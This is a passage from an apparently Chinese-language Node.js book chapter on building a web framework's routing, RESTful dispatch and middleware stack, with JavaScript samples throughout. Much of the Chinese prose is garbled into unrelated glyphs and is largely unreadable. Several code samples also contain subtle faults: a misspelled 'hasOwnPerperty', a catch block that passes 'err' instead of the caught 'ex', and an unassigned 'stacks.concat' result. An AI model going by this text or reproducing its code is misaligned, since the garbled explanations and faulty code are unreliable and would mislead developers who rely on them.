ʹ个用ਖ਼，我们就不ܹ可能Ԝ੣工፤એ੝有用ਖ਼的ᡸ由请ය，因൤ൣѶӛᦠ应ᤁᏪ生，我们యభ

᤯过以下的ழय就可以ӛᦠ到͉਒用ਖ਼Ὑ 

use('/profile/:username', function (req, res) { 

  // TODO 

}); 

于是我们இᤈ我们的ӛᦠழय，在᤯过useซбᡸ由时ᭉ要࠱ᡸफ़ᣀ૰为一个ൣѶᛪ᣹य，

ཨ后᤯过它౎ᤈᛠӛᦠ，ݟ下੝ᇧὙ 

var pathRegexp = function(path) { 

  path = path 

    .concat(strict ? '' : '/?') 

    .replace(/\/\(/g, '(?:/') 

    .replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function(_, slash, format, key, capture, 

optional, star){ 

      slash = slash || ''; 

      return '' 

        + (optional ? '' : slash) 

        + '(?:' 

        + (optional ? slash : '') 

        + (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')' 

        + (optional || '') 

        + (star ? '(/*)?' : ''); 

    }) 

    .replace(/([\/.])/g, '\\$1') 

    .replace(/\*/g, '(.*)'); 

  return new RegExp('^' + path + '$'); 

} 

上ᤗൣѶᛪ᣹यӠ分复杂，঳ͳᏪ言，它能实ဗݟ下的ӛᦠὙ 

/profile/:username => /profile/jacksontian, /profile/hoover 

/user.:ext => /user.xml, /user.json 

ဗ在我们᧗新இᤈซб部分Ὑ 

var use = function (path, action) { 

  routes.push([pathRegexp(path), action]); 

}; 

以Ԣӛᦠ部分Ὑ 

function (req, res) { 

  var pathname = url.parse(req.url).pathname; 

  for (var i = 0; i < routes.length; i++) { 
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    var route = routes[i]; 

    // 正则೅配 

    if (route[0].exec(pathname)) { 

      var action = route[1]; 

      action(req, res); 

      return; 

    } 

  } 

  // 处理404请求 

  handle404(req, res); 

} 

ဗ在我们的ᡸ由ҩ能就能ܴ实ဗൣѶӛᦠ了，௃ᮋв为大量的用ਖ਼ᤈᛠ੣工ᡸ由௡࠰了。 
z ԟ数ᝌౡ 
还没有解，管߸੆了ൣѶӛᦠ，可以实ဗ相ͪURL的ӛᦠ，ͭ是:username到ऄӛᦠ了؀ࡉ

决。为൤我们还ᭉ要ᤈ一൥࠱ӛᦠ到的内ࠓઙԨѢ౎，࣎భ在ˉ务中能ݟ下这样ុ用Ὑ 
use('/profile/:username', function (req, res) { 

  var username = req.params.username; 

  // TODO 
}); 

这᧖的目ಕ是࠱ઙԨ的内ࠓ᝹Ꮅ到req.paramsܪ。ᥦ˥ኃ一൥就是࠱᪃ϘઙԨѢ౎，ݟ下੝ᇧὙ 

var pathRegexp = function(path) { 

  var keys = []; 

 

  path = path 

    .concat(strict ? '' : '/?') 

    .replace(/\/\(/g, '(?:/') 

    .replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function(_, slash, format, key, capture, 

       optional, star){ 

      // 将೅配ڟ的॰ኵԍ存ഐઠ 

      keys.push(key); 

      slash = slash || ''; 

      return '' 

        + (optional ? '' : slash) 

        + '(?:' 

        + (optional ? slash : '') 

        + (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')' 

        + (optional || '') 

        + (star ? '(/*)?' : ''); 

    }) 

    .replace(/([\/.])/g, '\\$1') 

    .replace(/\*/g, '(.*)'); 

 

  return { 

    keys: keys, 

    regexp: new RegExp('^' + path + '$') 

  }; 

} 

我们࠱಩૵ઙԨ的᪃Ϙ֖实ᬄ的URL३到᪃Ϙӛᦠ到的实ᬄϘ，并᝹Ꮅ到req.paramsݟ，ܪ

下੝ᇧὙ 
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function (req, res) { 

  var pathname = url.parse(req.url).pathname; 

  for (var i = 0; i < routes.length; i++) { 

    var route = routes[i]; 

    // 正则೅配 

    var reg = route[0].regexp; 

    var keys = route[0].keys; 

    var matched = reg.exec(pathname); 

    if (matched) { 

      // ؏ൽ具体ኵ 

      var params = {}; 

      for (var i = 0, l = keys.length; i < l; i++) { 

        var value = matched[i + 1]; 

        if (value) { 

          params[keys[i]] = value; 

        } 

      } 

      req.params = params; 

 

      var action = route[1]; 

      action(req, res); 

      return; 

    } 

  } 

  // 处理404请求 

  handle404(req, res); 

} 

至൤，我们ᬓ了从ಉលߙቿ˘（req.query）੊ଡ̓数૵（req.body）中Ԩ到Ϙ外，还能从ᡸ

फ़的௡࠰᧖Ԩ到Ϙ。 
2. 㞾✊᯴ᇘ 
੣工௡࠰的优ཁ在于ᡸफ़可以很灵活，ͭ是ݟ౦ᮉ目ᣖ大，ᡸ由௡࠰的数量也会很多。从前

端ᡸफ़到Хͳ的ଌ҃٧஠͇，ᭉ要ᤈᛠಉ阅才能定ͮ到实ᬄ̼ᆉ的ͮᎵ，为൤有人ଡѢ，ࡉ是ᡸ

由不ݟ௃ᡸ由。实ᬄ上并᭣没有ᡸ由，Ꮺ是ᡸ由૊一ሗጝ定的ழय自ཨᏪཨڠ实ဗ了ᡸ由，Ꮺ௃

ᮋԜ፤એᡸ由௡࠰。 
上஠的ᡸफ़解ౡ部分对这ሗ自ཨ௡࠰的实ဗ有ሮ᝴̭ፀ，ኤӬᏪ言，它ݟ࠱下ᡸफ़ᤈᛠ了Ѳ

分ူܪὙ 

/controller/action/param1/param2/param3 

以/user/setting/12/1987为Β，它会૊ጝ定Ԝ੼controllers目े下的user஠͇，࠱ФrequireѢ౎

后，ុ用这个஠͇ഴڰ的setting()ழก，ᏪФ余的Ϙ作为ԟ数ᄯ接͛ᤫፋ这个ழก。 

function (req, res) { 

  var pathname = url.parse(req.url).pathname; 

  var paths = pathname.split('/'); 

  var controller = paths[1] || 'index'; 

  var action = paths[2] || 'index'; 

  var args = paths.slice(3); 

  var module; 
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  try { 

    // require的缓存机制使ڥኻ有ڼᅃْ是阻塞的 

    module = require('./controllers/' + controller); 

  } catch (ex) { 

    handle500(req, res); 

    return; 

  } 

  var method = module[action] 

  if (method) { 

    method.apply(null, [req, res].concat(args)); 

  } else { 

    handle500(req, res); 

  } 

} 

由于这ሗ自ཨ௡࠰的ழय没有ૈ௙ԟ数的Տሥ，੝以௃ก᧓用req.params的ழयଡԨ，ͭ是

ᄯ接᤯过ԟ数ᖌԨఝኤผ，ݟ下੝ᇧὙ 
exports.setting = function (req, res, month, year) { 

  // 如ࡕ路径为/user/setting/12/1987ǈఫ么month为12ǈyear为1987 
  // TODO 
}; 

事实上੣工௡࠰也能࠱Ϙ作为ԟ数ᤈᛠ͛ᤫ，Ꮺ不是᤯过req.params。ͭ是这个᜹ཁ᜸̤᜸

ఄ，这᧖不做ඊᣖ֖ᝦ᝶。 
自ཨ௡࠰这ሗᡸ由ழय在PHP的MVCಳ౵CodeIgniter中应用Ӡ分广ค，᝹᝟Ӡ分ኤผ，在

Node中实ဗ它也Ӡ分ࠓ௛。与੣工௡࠰相ඊ，ݟ౦URLԪ动，它的஠͇也ᭉ要发生Ԫ动，੣工௡

 。Ԁ可࠰只ᭉ要இ动ᡸ由௡࠰

8.3.3� RESTful 

MVCഴय大ᛠФ᥊了很多年，ᄯ到RESTful的ึᛠ，大ࠑ才਒识到URL也可以᝹᝟३很᜺ᔴ，

请යழก也能作为᤾ᣣ分发的ӬЊ。 
REST的Кሥ是Representational State Transfer，中஠դ˦为ᛪဗࡎ࿃খᣀӐ。ቿՋREST᜺ᔴ

的᝹᝟，我们ሥ为RESTful᝹᝟。它的᝹᝟ו学˞要࠱服务٧端ଡΘ的内ࠓ实ͳᄹ作一个ᠪ源，

并ᛪဗ在URL上。 
ඊݟ一个用ਖ਼的ݟڦڠ下੝ᇧὙ 
/users/jacksontian 

这个̼ڦڠᛪ了一个ᠪ源，对这个ᠪ源的ୱ作，˞要ͳဗ在HTTP请යழก上，不是ͳဗ在

URL上。过Ԝ我们对用ਖ਼的ܘѺஇಉ੊᝴是ݟ下这样᝹᝟URL的Ὑ 
POST /user/add?username=jacksontian 

GET /user/remove?username=jacksontian 

POST /user/update?username=jacksontian 

GET /user/get?username=jacksontian 

ୱ作ᛠ为˞要ͳဗ在ᛠ为上，˞要使用的请යழก是POST֖GET。在RESTful᝹᝟中，它是ݟ

下这样的Ὑ 
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POST /user/jacksontian 

DELETE /user/jacksontian 

PUT /user/jacksontian 

GET /user/jacksontian 

它࠱DELETE֖PUT请යழกल入᝹᝟中，ԟ与ᠪ源的ୱ作֖ఝஇᠪ源的࿃খ。 
对于这个ᠪ源的Хͳᛪဗ्খ，也不вݟ过Ԝ一样ᛪဗ在URL的஠͇后፯上。过Ԝ᝹᝟ᠪ源

的ಪय与后፯有很大的关ᐎ，ΒݟὙ 

GET /user/jacksontian.json 

GET /user/jacksontian.xml 

在RESTful᝹᝟中，ᠪ源的Хͳಪय由请යઐܿ中的Acceptߙൿ֖服务٧端的ஂ૆情х౎决

定。ݟ౦客ਖ਼端Վ时接ԩJSON֖XMLಪय的ֽ应，ᥦ˥它的AcceptߙൿϘ是ݟ下这样的Ὑ 

Accept: application/json,application/xml 

᭤៧的服务٧端应ឞ要ᮎԢ这个ߙൿ，ཨ后಩૵自己能ֽ应的ಪय做Ѣֽ应。在ֽ应ઐ஠中，

᤯过Content-Typeߙൿնᅻ客ਖ਼端是̣˥ಪय，ݟ下੝ᇧὙ 

Content-Type: application/json 

Хͳಪय，我们ሥ之为Хͳ的ᛪဗ。੝以REST的᝹᝟就是，᤯过URL᝹᝟ᠪ源、请යழก

定˦ᠪ源的ୱ作，᤯过Accept决定ᠪ源的ᛪဗ्य。 
RESTful与MVC᝹᝟并不у቉，Ꮺ且是ఝ好的இᤈ。相ඊMVC，RESTful只是࠱HTTP请යழ

ก也加入了ᡸ由的过程，以Ԣ在URLᡸफ़上ͳဗ३ఝᠪ源Ӑ。 
z ឯයழก 
为了ᝧNode能ܴஂ૆RESTfulᭉය，我们இᤈ了我们的᝹᝟。ݟ౦use是对੝有请යழก的ܪ

ူ，ᥦ˥在RESTful的场景下，我们ᭉ要区分请යழก᝹᝟。ᇧΒݟ下੝ᇧὙ 

var routes = {'all': []}; 

var app = {}; 

app.use = function (path, action) { 

  routes.all.push([pathRegexp(path), action]); 

}; 

 

['get', 'put', 'delete', 'post'].forEach(function (method) { 

  routes[method] = []; 

  app[method] = function (path, action) { 

    routes[method].push([pathRegexp(path), action]); 

  }; 

}); 

上᭦的̼ᆉຊ加了get()、put()、delete()、post()4个ழก后，我们࣎భ᤯过ݟ下的ழय߸

੆ᡸ由௡࠰Ὑ 

// ሺ加用户 

app.post('/user/:username', addUser); 

// ෸أ用户 

app.delete('/user/:username', removeUser); 

// Ⴊ߀用户 
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app.put('/user/:username', updateUser); 

// 查询用户 

app.get('/user/:username', getUser); 

这样的ᡸ由能ܴ识Ѿ请යழก，并࠱ˉ务ᤈᛠ分发。为了ᝧ分发部分ఝኤผ，我们Ў࠱ӛᦠ

的部分ઙԨ为match()ழก，ݟ下੝ᇧὙ 

var match = function (pathname, routes) { 

  for (var i = 0; i < routes.length; i++) { 

    var route = routes[i]; 

    // 正则೅配 

    var reg = route[0].regexp; 

    var keys = route[0].keys; 

    var matched = reg.exec(pathname); 

    if (matched) { 

      // ؏ൽ具体ኵ 

      var params = {}; 

      for (var i = 0, l = keys.length; i < l; i++) { 

        var value = matched[i + 1]; 

        if (value) { 

          params[keys[i]] = value; 

        } 

      } 

      req.params = params; 

 

      var action = route[1]; 

      action(req, res); 

      return true; 

    } 

  } 

  return false; 

}; 

ཨ后இᤈ我们的分发部分，ݟ下੝ᇧὙ 

function (req, res) { 

  var pathname = url.parse(req.url).pathname; 

  // 将请求方法Վ为小写 

  var method = req.method.toLowerCase(); 

  if (routes.hasOwnPerperty(method)) { 

 据请求方法分发ߵ //    

    if (match(pathname, routes[method])) { 

      return; 

    } else { 

      // 如ࡕ路径ு有೅配成功ǈ׈试ඟall()ઠ处理 

      if (match(pathname, routes.all)) { 

        return; 

      } 

    } 

  } else { 

    // ኱接ඟall()ઠ处理 

    if (match(pathname, routes.all)) { 

      return; 

    } 
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  } 

  // 处理404请求 

  handle404(req, res); 

} 

߸的ழก࠰൤，我们߸੆了实ဗRESTfulஂ૆的ॸ要్͇。这᧖的实ဗ过程᧓用了੣工௡ݟ

੆，事实上᤯过自ཨ௡࠰也能߸੆RESTful的ஂ૆，ͭ是಩૵Controller/Action的ጝ定ॸᮋ要ᣀ

Ӑ为Resource/Method的ጝ定，൤ܪ已经लѢ实ဗধᡸ，不вសᤗ。 
目前RESTful应用已经开始广ค起౎，ᬣ着ˉ务᤾ᣣ前端Ӑ、客ਖ਼端的多样Ӑ，RESTfulഴय

以Фᣏ量的᝹᝟，३到广大开发者的᭞ᅏ。对于多数的应用Ꮺ言，只ᭉ要ౝत一ݒRESTful服务

接ԯ，就能᤟应ሧ动端、PC端的Չሗ客ਖ਼端应用。 

8.4� Ё䯈ӊ 

ྞൿयڠ接触߸Web应用的۲ᆨҩ能֖ᡸ由ҩ能后，我们发ဗ从ֽ应Hello World的ᇧΒ̼ᆉ

到实ᬄ的ᮉ目，Ф实有ܹ多ဴᆾ的ጹᓫ工作要߸੆，上ᤗ内ࠓ只是̭ፀ了˞要的部分。对于Web
应用Ꮺ言，我们࣎భ不用接触到这˥多ጹᓫ性的ူܪ，为൤我们ल入中͇ᫍ（middleware）౎ኤ

Ӑ֖ᬥሎ这些۲ᆨ᝹ஶ与ˉ务᤾ᣣ之ᫍ的ጹᓫ，ᝧ开发者能ܴ关ซ在ˉ务的开发上，以᣹到ଡӣ

开发஌ည的目的。 
在最௉的中͇ᫍ的定˦中，它是一ሗ在ୱ作系统上为应用ᣃ͇ଡΘ服务的᝟ኪ机ᣃ͇。它௄

不是ୱ作系统的一部分，也不是应用ᣃ͇的一部分，它ܪ于ୱ作系统与应用ᣃ͇之ᫍ，ᝧ应用ᣃ

͇ఝ好、ఝழΦڠ使用ऄࡎ服务。ݟ今中͇ᫍ的դ˦ύૈ了这ሗ࠯ᜈऄࡎጹᓫ，为上ࡎଡΘఝழ

Φ服务的਒˦，并᭣ᬌ定在ୱ作系统ࡎ᭦。这᧖要ଡ到的中͇ᫍ，就是为我们࠯ᜈ上஠ଡԢ的੝

有HTTP请යጹᓫူܪ的中͇ᫍ，开发者可以ᑱሎ这部分ጹᓫ，˃ซ在ˉ务上。 
中͇ᫍ的ᛠ为ඊᣖዜͪJava中过໙٧（filter）的工作ԓူ，就是在ᤈ入Хͳ的ˉ务ူܪ之前，

Ўᝧ过໙ူܪ٧。它的工作ഴݟۋ图8-4੝ᇧ。 
Node的http。ူܪՎ图8-4੝ᇧ，从HTTP请ය到Хͳˉ务᤾ᣣ之ᫍ，Ф实有很多的ጹᓫ要ݟ

ഴڰଡΘ了应用ࡎӨᝫ网ፎ的࠯ᜈ，对Хͳˉ务并没有ஂ૆，在ˉ务᤾ᣣ之下，ॸᮋ有开发ಳ౵

对ˉ务ଡΘஂ૆。这᧖我们᤯过中͇ᫍ的्यୃत开发ಳ౵，这个开发ಳ౵用౎组织Չ个中͇ᫍ。

对于Web应用的Չሗ۲ᆨҩ能，我们᤯过中͇ᫍ౎߸੆，ඇ个中͇ᫍ૿ူܪ相对ኤӬ的᤾ᣣ，最

ጻ඼੆强大的۲ᆨಳ౵。 
由于中͇ᫍ就是前ᤗ的ᥦ些۲本ҩ能，੝以它的上下஠也就是请ය对៵ֽ֖应对៵Ὑreq֖

res。有一ཁ区Ѿ的是，由于Nodeऩ൥的ԓ因，我们ᭉ要ଡΘ一ሗ机҃，在ॆ前中͇ᫍူܪ߸੆

后，᤯ᅻ下一个中͇ᫍ੯ᛠ。在ኃ4ብ中Ф实已经对中͇ᫍ做了̭ፀ，这᧖我们还是᧓用Connect
的᝹᝟，᤯过ࡊ触发的ழय实ဗ。一个۲本的中͇ᫍ会是ݟ下的्यὙ 

var middleware = function (req, res, next) { 

  // TODO 

  next(); 

} 
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图8-4 中͇ᫍ的工作ഴۋ 

૊ཱᮔయ的᝹᝟，我们为Хͳ的ˉ务᤾ᣣຊ加中͇ᫍ应ឞ是很ᣏౚ的事情，᤯过ಳ౵ஂ૆，

能ܴ࠱੝有的۲ᆨҩ能ஂ૆˘ᐎ起౎，ݟ下੝ᇧὙ 

app.use('/user/:username', querystring, cookie, session, function (req, res) { 

  // TODO 
}); 

这᧖的querystring、cookie、session中͇ᫍ与前஠ଠᤗ的ҩ能大Վ小ऩݟ下੝ᇧὙ 

// querystring解析中间件 

var querystring = function (req, res, next) { 

  req.query = url.parse(req.url, true).query; 

  next(); 

}; 

// cookie解析中间件 

var cookie = function (req, res, next) { 

  var cookie = req.headers.cookie; 

  var cookies = {}; 

  if (cookie) { 

    var list = cookie.split(';'); 

    for (var i = 0; i < list.length; i++) { 

      var pair = list[i].split('='); 

      cookies[pair[0].trim()] = pair[1]; 

    } 

  } 

 

  req.cookies = cookies; 

  next(); 

}; 

可以ᄹ到这᧖的中͇ᫍ都是Ӡ分ኤผ的，接下౎我们ᭉ要组织起这些中͇ᫍ。这᧖我们࠱ᡸ

由分ሎ开౎，࠱中͇֖ᫍХͳˉ务᤾ᣣ都ᄹ੆ˉ务ူܪӬЊ，இᤈuse()ழกݟ下੝ᇧὙ 
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app.use = function (path) { 

  var handle = { 

 ᅃ߲֖数作为路径ڼ //    

    path: pathRegexp(path), 

    // 其他的ۼ是处理单元 

    stack: Array.prototype.slice.call(arguments, 1) 

  }; 

  routes.all.push(handle); 

}; 

இᤈ后的use()ழก࠱中͇ᫍ都ߚᤈ了stack数组中γߚ，ኍय़ӛᦠ后触发੯ᛠ。由于ፆౝ发

生இԪ，ᥦ˥我们的ӛᦠ部分也ᭉ要ᤈᛠνஇ，ݟ下੝ᇧὙ 
var match = function (pathname, routes) { 

  for (var i = 0; i < routes.length; i++) { 

    var route = routes[i]; 

    // 正则೅配 

    var reg = route.path.regexp; 

    var matched = reg.exec(pathname); 

    if (matched) { 

      // ؏ൽ具体ኵ 

      // 代码ู୼ 

      // 将中间件数组঍给handle()方法处理 

      handle(req, res, route.stack); 

      return true; 

    } 

  } 

  return false; 

}; 

一ெӛᦠ੆ҩ，中͇ᫍХͳݟʹុ动都̓ፋ了handle()ழกူܪ，ឞழก࠯ᜈ后，ᤫॅ性ڠ

੯ᛠ数组中的中͇ᫍ，ඇ个中͇ᫍ੯ᛠ߸੆后，૊ཱጝ定ុ用͛入next()ழก以触发下一个中ᫍ

͇੯ᛠ（੊者ᄯ接ֽ应），ᄯ到最后的ˉ务᤾ᣣ。̼ᆉݟ下੝ᇧὙ 
var handle = function (req, res, stack) { 

  var next = function () { 

    // 从stack数组中ൽ出中间件ժ执行 

    var middleware = stack.shift(); 

    if (middleware) { 

      // 传入next()函数自วǈ使中间件能ࠕ执行结ຐࢫ递ࡃ 

      middleware(req, res, next); 

    } 

  }; 

 

  // 启动执行 

  next(); 

}; 

这᧖ࣛ౎的Ⴀ问是，像querystring、cookie、session这样۲ᆨ的ҩ能中͇ᫍ是否ᭉ要为ඇ

个ᡸ由都ᤈᛠ᝹Ꮅփ὞ݟ౦都᝹Ꮅ࠱会໥Ԫ੆ݟ下的ᡸ由ᦠᎵὙ 
app.get('/user/:username', querystring, cookie, session, getUser); 

app.put('/user/:username', querystring, cookie, session, updateUser); 

//߸多路ᆯ 
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为ඇ个ᡸ由都ᦠᎵ中͇ᫍ并不是一个好的᝹᝟，௄ཨ中͇֖ᫍˉ务᤾ᣣ是ኍ͈的，ᥦ˥我们

是否可以࠱ᡸ由֖中͇ᫍᤈᛠፆՋ὞᝹᝟是否可以ఝ人性὞௄能ཱᮎ௾᤟的ᭉය，Ԡ能ཱᮎྱ൳

的ᭉය὞ኔ಴是Yes，ݟ下੝ᇧὙ 

app.use(querystring); 

app.use(cookie); 

app.use(session); 

app.get('/user/:username', getUser); 

app.put('/user/:username', authorize, updateUser); 

为了໗ᡛఝ灵活的᝹᝟，这᧖૆续இᤈ我们的use()ழก以᤟应ԟ数的ԪӐ，ݟ下੝ᇧὙ 

app.use = function (path) { 

  var handle; 

  if (typeof path === 'string') { 

    handle = { 

 ᅃ߲֖数作为路径ڼ //      

      path: pathRegexp(path), 

      // 其他的ۼ是处理单元 

      stack: Array.prototype.slice.call(arguments, 1) 

    }; 

  } else { 

    handle = { 

 ᅃ߲֖数作为路径ڼ //      

      path: pathRegexp('/'), 

      // 其他的ۼ是处理单元 

      stack: Array.prototype.slice.call(arguments, 0) 

    }; 

  } 

  routes.all.push(handle); 

}; 

ᬓ了இᤈuse()ழก外，还要૆续இᤈ我们的ӛᦠ过程，与前᭦一ெ一次ӛᦠ后就不в੯ᛠ

后续ӛᦠ不Վ，还会继续后续᤾ᣣ，这᧖我们࠱੝有ӛᦠ到中͇ᫍ的都ఆ时γߚ起౎，ݟ下੝ᇧὙ 

var match = function (pathname, routes) { 

  var stacks = []; 

  for (var i = 0; i < routes.length; i++) { 

    var route = routes[i]; 

    // 正则೅配 

    var reg = route.path.regexp; 

    var matched = reg.exec(pathname); 

    if (matched) { 

      // ؏ൽ具体ኵ 

      // 代码ู୼ 

      // 将中间件ۼԍ存ഐઠ 

      stacks = stacks.concat(route.stack); 

    } 

  } 

  return stacks; 

}; 

இᤈ߸use()ழก后，还要૆续இᤈ分发的过程Ὑ 
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function (req, res) { 

  var pathname = url.parse(req.url).pathname; 

  // 将请求方法Վ为小写 

  var method = req.method.toLowerCase(); 

  // इൽall()方法૛的中间件 

  var stacks = match(pathname, routes.all); 

  if (routes.hasOwnPerperty(method)) { 

 据请求方法分发ǈइൽ၎关的中间件ߵ //    

    stacks.concat(match(pathname, routes[method])); 

  } 

 

  if (stacks.length) { 

    handle(req, res, stacks); 

  } else { 

    // 处理404请求 

    handle404(req, res); 

  } 

} 

፫上੝ᤗ，᤯过中͇֖ᫍᡸ由的Ө作，我们不ᅻ不᜿之ᫍ已经࠱复杂的事情ኤӐ下౎，Web
应用开发者可以只关ซˉ务开发就能ᑇ͉ஞ个开发工作。 

8.4.1� ᓖᐌ໘⧚ 

ͭ是ኍኍ，ݟ౦౼个中͇ᫍѢဗᩱឧឞঞ˥办὞我们ᭉ要为自己ౝत的Web应用的ሶ定性֖ϣ

 下੝ᇧὙݟ，性᠆᠉。于是我们为next()ழกຊ加errԟ数，并૬ᖌ中͇ᫍᄯ接ઊѢ的Վ൥ऩ࣡ܤ

var handle = function (req, res, stack) { 

  var next = function (err) { 

    if (err) { 

      return handle500(err, req, res, stack); 

    } 

    // 从stack数组中ൽ出中间件ժ执行 

    var middleware = stack.shift(); 

    if (middleware) { 

      // 传入next()函数自วǈ使中间件能ࠕ执行结ຐࢫ递ࡃ 

      try { 

        middleware(req, res, next); 

      } catch (ex) { 

        next(err); 

      } 

    } 

  }; 

 

  // 启动执行 

  next(); 

}; 

由于ऩ൥ழก的ऩ࣡不能ᄯ接૬ᖌ（在ኃ4ብ中有过᫧ᤗ），中͇ᫍऩ൥产生的ऩ࣡ᭉ要自己

͛ᤫѢ౎，ݟ下੝ᇧὙ 

var session = function (req, res, next) { 
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  var id = req.cookies.sessionid; 

  store.get(id, function (err, session) { 

    if (err) { 

      // 将异常通过next()传递 

      return next(err); 

    } 

    req.session = session; 

    next(); 

  }); 

}; 

Next()ழก接到ऩ࣡对៵后，会࠱Ф̓ፋhandle500()ᤈᛠူܪ。为了࠱中͇ᫍ的ধ想ढ续下

Ԝ，我们认为ᤈᛠऩ࣡ူܪ的中͇ᫍ也是能ᤈᛠ数组यူܪ的。由于要Վ时͛ᤫऩ࣡，੝以用于

 下੝ᇧὙݟ，Ѿ，它的ԟ数有4个ࢿऩ࣡的中͇ᫍ的᝹᝟与௾᤯中͇ᫍ႔有ူܪ

var middleware = function (err, req, res, next) { 

  // TODO 
  next(); 

}; 

我们᤯过use()可以࠱੝有ऩ࣡ူܪ的中͇ᫍซб起౎，ݟ下੝ᇧὙ 

app.use(function (err, req, res, next) { 

  // TODO 
}); 

为了区分௾᤯中͇֖ᫍऩ࣡ူܪ中͇ᫍ，handle500()ழก࠱会对中͇ᫍ૊ԟ数ᤈᛠᤈᛠᤤ

Ԩ，ཨ后ᤫॅ੯ᛠ。 

var handle500 = function (err, req, res, stack) { 

  // ჋ൽ异常处理中间件 

  stack = stack.filter(function (middleware) { 

    return middleware.length === 4; 

  }); 

 

  var next = function () { 

    // 从stack数组中ൽ出中间件ժ执行 

    var middleware = stack.shift(); 

    if (middleware) { 

      // 传递异常对象 

      middleware(err, req, res, next); 

    } 

  }; 

 

  // 启动执行 

  next(); 

}; 

8.4.2� Ё䯈ӊϢᗻ㛑 

前஠我们ຊ加了强大的中͇ᫍ组织能Ҧ，ݟ౦ซ਒到一个ဗ៵的ព，ᥦ就是我们的ˉ务᤾ᣣ

ज़ज़是在最后才੯ᛠ。为了ᝧˉ务᤾ᣣଡ௉੯ᛠ，ࡉ௉ֽ应ፋጻ端用ਖ਼，中͇ᫍ的编写֖使用是
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ᭉ要一႖Ꮵቂ的。下᭦是ˏ个˞要的能ଡӣ的ཁ。 
� 编写高஌的中͇ᫍ。 
� Ջူѽ用ᡸ由，ᥗБ不ॸ要的中͇ᫍ੯ᛠ。 
1. 㓪ݭ催ᬜⱘЁ䯈ӊ 
编写高஌的中͇ᫍФ实就是ଡӣӬ个ူܪӬЊ的ူܪᤳऎ，以ࡉ௉ុ用next()੯ᛠ后续᤾

ᣣ。ᭉ要ᅻ᥊的事情是，一ெ中͇ᫍᜁӛᦠ，ᥦ˥ඇ个请ය都会使ឞ中͇ᫍ੯ᛠ一次，גঢ它只

ํ᠟1ඒሙ的੯ᛠ时ᫍ，都会ᝧ我们的QPS௬ᗂ下ᬋ。࣡᜸的优Ӑழก有几ሗ。 
� 使用高஌的ழก。ॸ要时᤯过jsperf.com测试۲э性能。 
� ᎀߚᭉ要᧗复᝟ኪ的ፆ౦（ᭉ要ଌ҃ᎀߚ用量，ԓ因在ኃ5ብ᫧ᤗ过）。 
� ᥗБ不ॸ要的᝟ኪ。ඊݟHTTPઐ஠ͳ的解ౡ，对于GETழก߸К不ᭉ要。 
2. ড়⧚Փ⫼䏃⬅ 
在઴有一۶高஌的中͇ᫍ后，并不਒։着ඇ个中͇ᫍ我们都使用，Ջူ的ᡸ由使३不ॸ要的

中͇ᫍ不ԟ与请යူܪ的过程。这᧖以一个ᇧΒ౎ឬ௙ឞ问题。 
ϛ᝹我们这᧖有一个᭡খ஠͇的中͇ᫍ，它会对请යᤈᛠѻற，ݟ౦ᇒᄧ上ߚ在对应஠͇，

就ֽ应对应的᭡খ஠͇，否Ѷ就̓由下ຣ中͇ᫍݟ，ူܪ下੝ᇧὙ 

var staticFile = function (req, res, next) { 

  var pathname = url.parse(req.url).pathname; 

 

  fs.readFile(path.join(ROOT, pathname), function (err, file) { 

    if (err) { 

      return next(); 

    } 

    res.writeHead(200); 

    res.end(file); 

  }); 

}; 

 下的ழयซбᡸ由Ὑݟ౦我们以ݟ

app.use(staticFile); 

ᥦ˥਒։着对/ᡸफ़下的੝有URL请ය都会ᤈᛠѻற。Ԡ由于它中ᫍ๗Ԣ到了ᇒᄧI/O，ݟ౦੆

ҩӛᦠ，它的஌ည还ᛠ，ͭ 是ݟ౦不੆ҩӛᦠ，ඇ次的ᇒᄧI/O都是对性能的ํ᠟，使QPSᄯ线下ᬋ。 
对于这ሗ情х，我们ᭉ要做的是ଡӣӛᦠ੆ҩည，ᥦ˥就不能使用᳭认的/ᡸफ़౎ᤈᛠӛᦠ

了，因为它的ឧ͝ညܹ高。ፋ它ຊ加一个ఝ好的ᡸ由ᡸफ़是个不ᩱ的ᤤસ，ݟ下੝ᇧὙ 

app.use('/public', staticFile); 

这样只有/publicᡸफ़会ӛᦠ上，Ф余ᡸफ़಩本不会๗Ԣឞ中͇ᫍ。 

8.4.3� ᇣ㒧 

中͇ᫍ使३前஠的۲ᆨҩ能，从ё˼的发஘࿃খ收ஔ੆很᜺ஞ的组织ழय。对于Ӭ个中͇ᫍ

Ꮺ言，它ᡛܴኤӬ，ᐋ᠉Ӭ一。与像᭦్一样杂ዶ在一起的᤾ᣣѻற相ඊ，它Хܫఝ好的可测试性。
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中͇ᫍ机҃使३Web应用Хܫᓡ好的可ੰࡘ性֖可组Ջ性，可以ᣏ௛ڠᤈᛠ数૵ܘѺ。从౼ሗᝇऎ

౎ᝮ它就是Unixו学的一个实ဗ，˃ซኤӬ，小ᏪᎾ，ཨ后᤯过组Ջ使用，发૘Ѣ强大的能量。 
中͇ᫍ是Connect的经Цഴय，᤯过本ᓫ的ԫᤗ，我们已经可以ᄹ到ஞ个Connect是ݟʹୃत

ᣂज的。本ᓫ试图解᧕Web开发过程的前Ꮅধᡸ，ᄴ႔了᝴多ጹᓫ，ࡉ管与实ᬄ的Connect̼ᆉ不

 。భύ着这些ধᡸ，ඇͮ开发者都能࿗立写Ѣ᤟应自己ˉ务ᭉය的ಳ౵࣎，相Վࡉ

8.5� 义䴶␆ᶧ 

᤯过中͇ᫍ机҃组织۲ᆨҩ能߸੆我们的请යᮔူܪ后，不管是᤯过MVC还是᤯过RESTful
ᡸ由，开发者੊者是ុ用了数૵ं，੊者是ᤈᛠ了஠͇ୱ作，੊者是ူܪ了内ߚ，这时我们ጻ于

౎到了ֽ应客ਖ਼端的部分了。这᧖的þ页᭦ມ౿ÿ是个࿘˦的ಕ题，我们Ф实ֽ应的可能是一个

HTML网页，也可能是CSS、JS஠͇，੊者是Ф他多޴ͳ஠͇。这᧖我们要੽接上஠ៀ᝶的HTTP
ֽ应实ဗ的技术ጹᓫ，˞要包դ内ֽࠓ应֖页᭦ມ౿ˏ个部分。 

对于过Ԝึᛠ的ASP、PHP、JSPኍ动খ网页技术，页᭦ມ౿是一ሗ内Ꮅ的ҩ能。ͭ 对于Node
